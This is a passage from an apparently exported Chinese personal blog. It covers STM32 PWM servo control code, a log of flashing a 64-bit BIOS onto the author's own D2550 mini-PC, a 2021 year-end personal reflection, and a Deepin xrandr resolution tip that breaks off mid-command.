class=\"token comment\"\u003e// 使用库函数改变 TIM3 通道1 PWM 的占空比\u003c/span\u003e \u003cspan class=\"token function\"\u003e__HAL_TIM_SetCompare\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eld1_duty\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//延时\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"大概效果\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E5%A4%A7%E6%A6%82%E6%95%88%E6%9E%9C\" class=\"headerlink\" title=\"大概效果\"\u003e\u003c/a\u003e大概效果\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/mg995/1.gif\" alt=\"1\"/\u003e\u003c/p\u003e\u003ch3 id=\"驱动MG995舵机\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E9%A9%B1%E5%8A%A8MG995%E8%88%B5%E6%9C%BA\" class=\"headerlink\" title=\"驱动MG995舵机\"\u003e\u003c/a\u003e驱动MG995舵机\u003c/h3\u003e\u003cp\u003e这玩意具体参数可以去参考的博客去看\u003c/p\u003e\u003ch4 id=\"控制原理\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E6%8E%A7%E5%88%B6%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"控制原理\"\u003e\u003c/a\u003e控制原理\u003c/h4\u003e\u003cp\u003e舵机的控制一般需要一个20ms的时基脉冲,该脉冲的高电平部分一般为0.5ms~2.5ms范围内的角度控制脉冲部分。以180度角度舵机为例,那么对应的控制关系是这样的:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e0.5ms————–0度;\u003cbr/\u003e1.0ms————45度;\u003cbr/\u003e1.5ms————90度;\u003cbr/\u003e2.0ms———–135度;\u003cbr/\u003e2.5ms———–180度;\u003c/p\u003e\u003c/blockquote\u003e\u003cimg src=\"https://img-blog.csdn.net/20180129143043496?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaGVfX3l1YW4=\" style=\"zoom:67%;\"/\u003e\u003cp\u003e既然前面已经配置好时钟了,可以直接写代码了\u003c/p\u003e\u003cp\u003e调上面的角度转换成对应高电平部分\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 对应角度 0 45 90 135 180\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 TIM3 通道1的 PWM 模式\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e所以主函数为\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省了略各种初始化函数\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化,启动 TIM3 通道1的 PWM 模式\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 先正转,再反转\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 更新CCR1值,直接用寄存器操作\u003c/span\u003e TIM3 \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 延时,等舵机转过去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e--\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e TIM3 \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"转动效果\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/cac5/#%E8%BD%AC%E5%8A%A8%E6%95%88%E6%9E%9C\" class=\"headerlink\" title=\"转动效果\"\u003e\u003c/a\u003e转动效果\u003c/h4\u003e\u003cp\u003e对了如果发现不转记得检查一下供电,最好插上电源线再测试。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/mg995/2.gif\" alt=\"2\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/cac5/"},{"title":"D2550刷64位BIOS记录","time":"2022-05-01T17:20:28Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"D2550-刷64位BIOS记录\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1eaf/#D2550-%E5%88%B764%E4%BD%8DBIOS%E8%AE%B0%E5%BD%95\" class=\"headerlink\" title=\"D2550 刷64位BIOS记录\"\u003e\u003c/a\u003eD2550 刷64位BIOS记录\u003c/h1\u003e\u003cp\u003e早知道,还是软路由 \u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"参考链接\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1eaf/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1x441147zn?spm_id_from=333.880.my_history.page.click\"\u003e芯片级硬解64位系统限制!免费帮助网友解除d2550主板64位系统限制!刷bios轻松解决_哔哩哔哩_bilibili\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://yiniot.com/archives/48/\"\u003e编程夹刷写魔改BIOS ZTE CT320(D2550 cpu)支持64位系统 - 算云烟 (yiniot.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"0x00\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1eaf/#0x00\" class=\"headerlink\" title=\"0x00\"\u003e\u003c/a\u003e0x00\u003c/h3\u003e\u003cp\u003e目前的网络使用 k2p + N1 使用,比较碰巧这几天有个学弟在出 x86 软路由,就顺手收了过来\u003c/p\u003e\u003cp\u003eU 是 D2550 ,内存 ddr3 2G ,刚好垃圾之前捡的比较多(因为我刚进校的本子是 ddr3 内存),挑了一根4g 的顺便升级一下,至于硬盘多大,已经不重要了…… \u003cdel\u003e(因为后面我线接错给烧了)\u003c/del\u003e\u003c/p\u003e\u003cimg src=\"http://http/img/posts/d2550/2.webp\" alt=\"2\" style=\"zoom: 33%;\"/\u003e\u003ch3 id=\"0x01\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1eaf/#0x01\" class=\"headerlink\" title=\"0x01\"\u003e\u003c/a\u003e0x01\u003c/h3\u003e\u003cp\u003e拿到手头试了试,速度还不错\u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cimg src=\"http://http/img/posts/d2550/6.png\" alt=\"6\" style=\"zoom: 67%;\"/\u003e\u003cp\u003e然后想顺便在 docker 里装一个 clash 顺便把我 N1 的活也代替了,但是安装的时候提示不支持……查了一下发现因为这玩意是32 位 BIOS ,但是我不晓得我这是个啥板子……看了点相关博客,决定赌一个 \u003ccode\u003e占美、实达D2550-64BIOS\u003c/code\u003e ,借了个编程器,开始我第一次刷这玩意\u003c/p\u003e\u003ch3 id=\"0x02\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1eaf/#0x02\" class=\"headerlink\" title=\"0x02\"\u003e\u003c/a\u003e0x02\u003c/h3\u003e\u003cp\u003e先把主板拆出来,发现他的 BIOS 芯片在散热旁边,用夹子夹好一直识别不成功……于是决定拆下来,但是散热器挡着得先拆散热,就想着顺便把硅脂也换了。属于是歪打正着,这玩意硅脂已经硬的离谱了,我清理了半天才下来……\u003c/p\u003e\u003cp\u003e拆下来就这小玩意\u003c/p\u003e\u003cimg src=\"http://http/img/posts/d2550/3.jpg\" alt=\"3\" style=\"zoom:50%;\"/\u003e\u003cp\u003e整之前电脑上先把该装的 \u003cstrong\u003e驱动\u003c/strong\u003e 装了。\u003c/p\u003e\u003cp\u003e夹到夹子用 CH341A 识别挺快,先把原来的 BIOS 读取出来备份,然后按教程里的选 BIOS 刷入,但是我这一直报错\u003c/p\u003e\u003cimg src=\"http://http/img/posts/d2550/4.jpg\" alt=\"4\" style=\"zoom: 80%;\"/\u003e\u003cp\u003e试了好多次还是寄,我以为是夹子的锅,又把这玩意焊到了编程器了,但还是寄。\u003cspan class=\"diana_bengbuzhule\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e经过一番搜索,找到了大概原因是因为有的这玩意有保护,换用 \u003cstrong\u003e\u003ccode\u003eAsProgrammer\u003c/code\u003e\u003c/strong\u003e 刷入,非常顺利\u003c/p\u003e\u003cp\u003e最后开机查看BIOS,屏幕轻松点亮\u003c/p\u003e\u003cimg src=\"http://http/img/posts/d2550/5.webp\" alt=\"5\" style=\"zoom: 33%;\"/\u003e\u003ch3 id=\"一点小状况\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/1eaf/#%E4%B8%80%E7%82%B9%E5%B0%8F%E7%8A%B6%E5%86%B5\" class=\"headerlink\" title=\"一点小状况\"\u003e\u003c/a\u003e一点小状况\u003c/h3\u003e\u003cp\u003e)为什么莫得硬盘呢……纠结了半天最后发现是把电源线接错地方了\u003c/p\u003e\u003cp\u003e然后赶紧换了过来,好家伙一插上就关机……\u003c/p\u003e\u003cp\u003e烧咯……\u003cspan class=\"diana_qiaoda\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e画了60买了新盘,血亏\u003c/del\u003e\u003c/p\u003e\u003chr/\u003e\u003cp\u003e寄,买来硬盘要注意电源线的线序啊,差点又给我烧了。但是线坏了,又得花钱买线了……\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/1eaf/"},{"title":"2021_Summary","time":"2021-12-31T06:53:41Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"2021-年终总结\"\u003e\u003ca href=\"http://http//blog.ksfu.top/2021-Summary/#2021-%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"2021 年终总结\"\u003e\u003c/a\u003e2021 年终总结\u003c/h1\u003e\u003cp\u003e妈耶,一年这就结束了 ~ \u003c/p\u003e\u003cp\u003e今年过的算是不错,因为比较躺平所以也很容易满足~ \u003cdel\u003e(躺到写年终总结一时间不知道要写啥\u003c/del\u003e\u003c/p\u003e\u003cp\u003e学业方面差强人意?大一结束成绩没有很拉跨,得以在分流于后几名勉强进入通信工程专业。但是作为大类招生第一年的实验品,分流后这一学期学校课程安排的可以说非常拉跨,各种实验各种冲突各种大作业\u003cdel\u003ewdnmd\u003c/del\u003e。但好在还有一点自强不息的意识,身体挺好能熬夜,终于到了这学期结束。不过课程虽然拉跨但还是有合自己胃口的,单片机点亮个灯还是有意思的……不过大多数课真的是能混就混,然后天天早八对我这阴间作息的人来说属实离谱\u003cdel\u003e(怎么会是呢\u003c/del\u003e……\u003c/p\u003e\u003cp\u003e虽然没有太管得住嘴\u003cdel\u003e(还有缺德群友半夜发美食(我自己也发啊那没事了\u003c/del\u003e,但是腿倒是迈开了,每个月书院有一个5km马拉松的小活动,都参加了~虽然跑的挺慢\u003cdel\u003e(基本垫底)\u003c/del\u003e 但能跑下来还整挺好。体测虽然1km还差了几秒,但是过了 ~ 3km的成绩也在及格线里面了。体重只能说挺稳定……(不过这几天因为疫情只能待在宿舍,所以\u003cdel\u003e(xjb找理由就对了\u003c/del\u003e…… 身体健康!\u003cdel\u003e(20岁,四肢健全,大小便正常,下雨知道往家跑,一天可吃三顿饭,健康码绿色,未来可期!)\u003c/del\u003e\u003c/p\u003e\u003cdiv align=\"center\"\u003e \u003cimg src=\"http://http/img/posts/2021Summary/1.png\" alt=\"1\" style=\"zoom:70%;\"/\u003e\u003c/div\u003e\u003chr/\u003e\u003cp\u003e今年又认识了很多人\u003cdel\u003e(水群越来越勤快了)\u003c/del\u003e,又是被大伙继续关照的一年~也是兴趣爱好和技能继续扩展的一年。因为有大佬带飞,学到了挺多没接触过的东西。现在虽然没有学的很深入,但对于自己的一些想法总能曲曲折折找到一些实现的法子\u003cdel\u003e(让我也体验了一把收获的喜悦)\u003c/del\u003e。在交通群了解到了很多火车知识,顺便看时刻表发现平凉站一天十几趟车只有一趟不是25G……为了运转双层火车,将返校的车票分为两程,结果因为暴雨影响,第一趟车原路折返,改签之后遇到火车改道,在车上困了1天\u003cdel\u003e(一个难忘的国庆假期)\u003c/del\u003e。校庆纪念信封的发行,让我对集邮又有了更多的认识,顺便寄了不少纪念封给同学\u003cdel\u003e(邮政现在挺快哦\u003c/del\u003e。\u003c/p\u003e\u003cp\u003e暑假上海之行,因为疫情影响,火车接二连三被取消……不过到达之后属实大开眼界,各种高架,地铁站十几个出口balabalabala……不过因为建设的比较早,大多数地铁还是挺旧,有的还没报站\u003cdel\u003e(或者是我没发现?\u003c/del\u003e,跑起来挺颠簸。参观了几个公司\u003cdel\u003e(微软园区真不错)\u003c/del\u003e,逛了南京路,看了东方明珠塔,黄浦江漫步,晚上组团上网吧\u003cdel\u003e(交大周围环境真好)\u003c/del\u003e……吃的挺好,就是贵是真贵。然后因为疫情也没有活动很大范围。地方确实挺好,魔都哦~不过回去之后给我健康码变黄了……还好核酸之后打电话给我变回来了。\u003c/p\u003e\u003cdiv align=\"center\"\u003e \u003cimg src=\"http://http/img/posts/2021Summary/2.jpeg\" alt=\"1641069033334\" style=\"zoom: 50%;text-align: center;margin: 0 auto;\"/\u003e\u003c/div\u003e\u003chr/\u003e\u003cp\u003e大伙都一个一个脱单了,真不错 ~ 然后今年寡了一年\u003cdel\u003e(女生也没认识几个emm\u003c/del\u003e,人也是一如既往的怂\u003cdel\u003e(?\u003c/del\u003e。水群水的的飞起,底下尬聊还是尬聊。祝大伙脱单的长长久久 ~ \u003cdel\u003e没脱单的看看我(男桐不要)\u003c/del\u003e\u003c/p\u003e\u003cp\u003e一年就这么没心没肺下来了 ~ 今年感谢大伙!然后新年继续努力,多水几篇博客,好好学习\u003cdel\u003e吧?\u003c/del\u003e脚踏实地,继续深入学习学习技能。坚持跑步\u003cdel\u003e(减肥\u003c/del\u003e。多找几本书看看,今年好像没看多少书emm\u003cdel\u003e(写个年终中总结都憋不出来几句骚话)\u003c/del\u003e。多看几部电影,多看几部纪录片,多看几场演唱会 ~ 继续维持和大伙的关系,多多联系 ~ 女朋友尽量尽量尽量找\u003cdel\u003e(万一呢)\u003c/del\u003e。少整点阴间作息。情绪少波动一点,虽然说不要想太多,但还是喜欢乱想\u003cdel\u003e(果然还是闲的\u003c/del\u003e。虽说难免走入低谷,还是希望新年能够平稳一些 ~ \u003c/p\u003e\u003cp\u003e\u003cem\u003e♫后知后觉,又过了一个秋~\u003c/em\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e祝大伙新年快乐,踔厉奋发,笃行不怠!愿疫情早日过去!祝福国泰民安!\u003c/strong\u003e\u003c/p\u003e\u003cdiv align=\"center\"\u003e \u003cimg src=\"https://i.loli.net/2021/04/18/OQWE5NkgnGXdD2C.jpg\" style=\"zoom: 83%;text-align: center;margin: 0 auto;\"/\u003e\u003c/div\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/2021-Summary/"},{"title":"Deepin新增分辨率","time":"2021-10-09T14:04:03Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"Deepin-新增屏幕分辨率\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b368/#Deepin-%E6%96%B0%E5%A2%9E%E5%B1%8F%E5%B9%95%E5%88%86%E8%BE%A8%E7%8E%87\" class=\"headerlink\" title=\"Deepin 新增屏幕分辨率\"\u003e\u003c/a\u003eDeepin 新增屏幕分辨率\u003c/h1\u003e\u003cp\u003e因为最近同学送了半台 ThinkPad ,于是拿来装了 Deepin ,但是发现并没有适合自己屏幕的分辨率。\u003c/p\u003e\u003cp\u003e自己动手搜索解决,记录一下过程。\u003c/p\u003e\u003ch3 id=\"添加分辨率\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b368/#%E6%B7%BB%E5%8A%A0%E5%88%86%E8%BE%A8%E7%8E%87\" class=\"headerlink\" title=\"添加分辨率\"\u003e\u003c/a\u003e添加分辨率\u003c/h3\u003e\u003cp\u003e先查看推荐的配置,加入 \u003ccode\u003e-r\u003c/code\u003e 可以尽可能的减少黑边\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e我的显示\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 1920x1080 59.93 Hz (CVT 2.07M9-R) hsync: 66.59 kHz; pclk: 138.50 MHz\u003c/span\u003eModeline \u003cspan class=\"token string\"\u003e\u0026#34;1920x1080R\u0026#34;\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e查看输出的名字\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e-q\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e查出来我输出的名字叫 \u003ccode\u003eVGA-1\u003c/code\u003e\u003c/p\u003e\u003cp\u003e接下来执行(后面改成自己的)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan 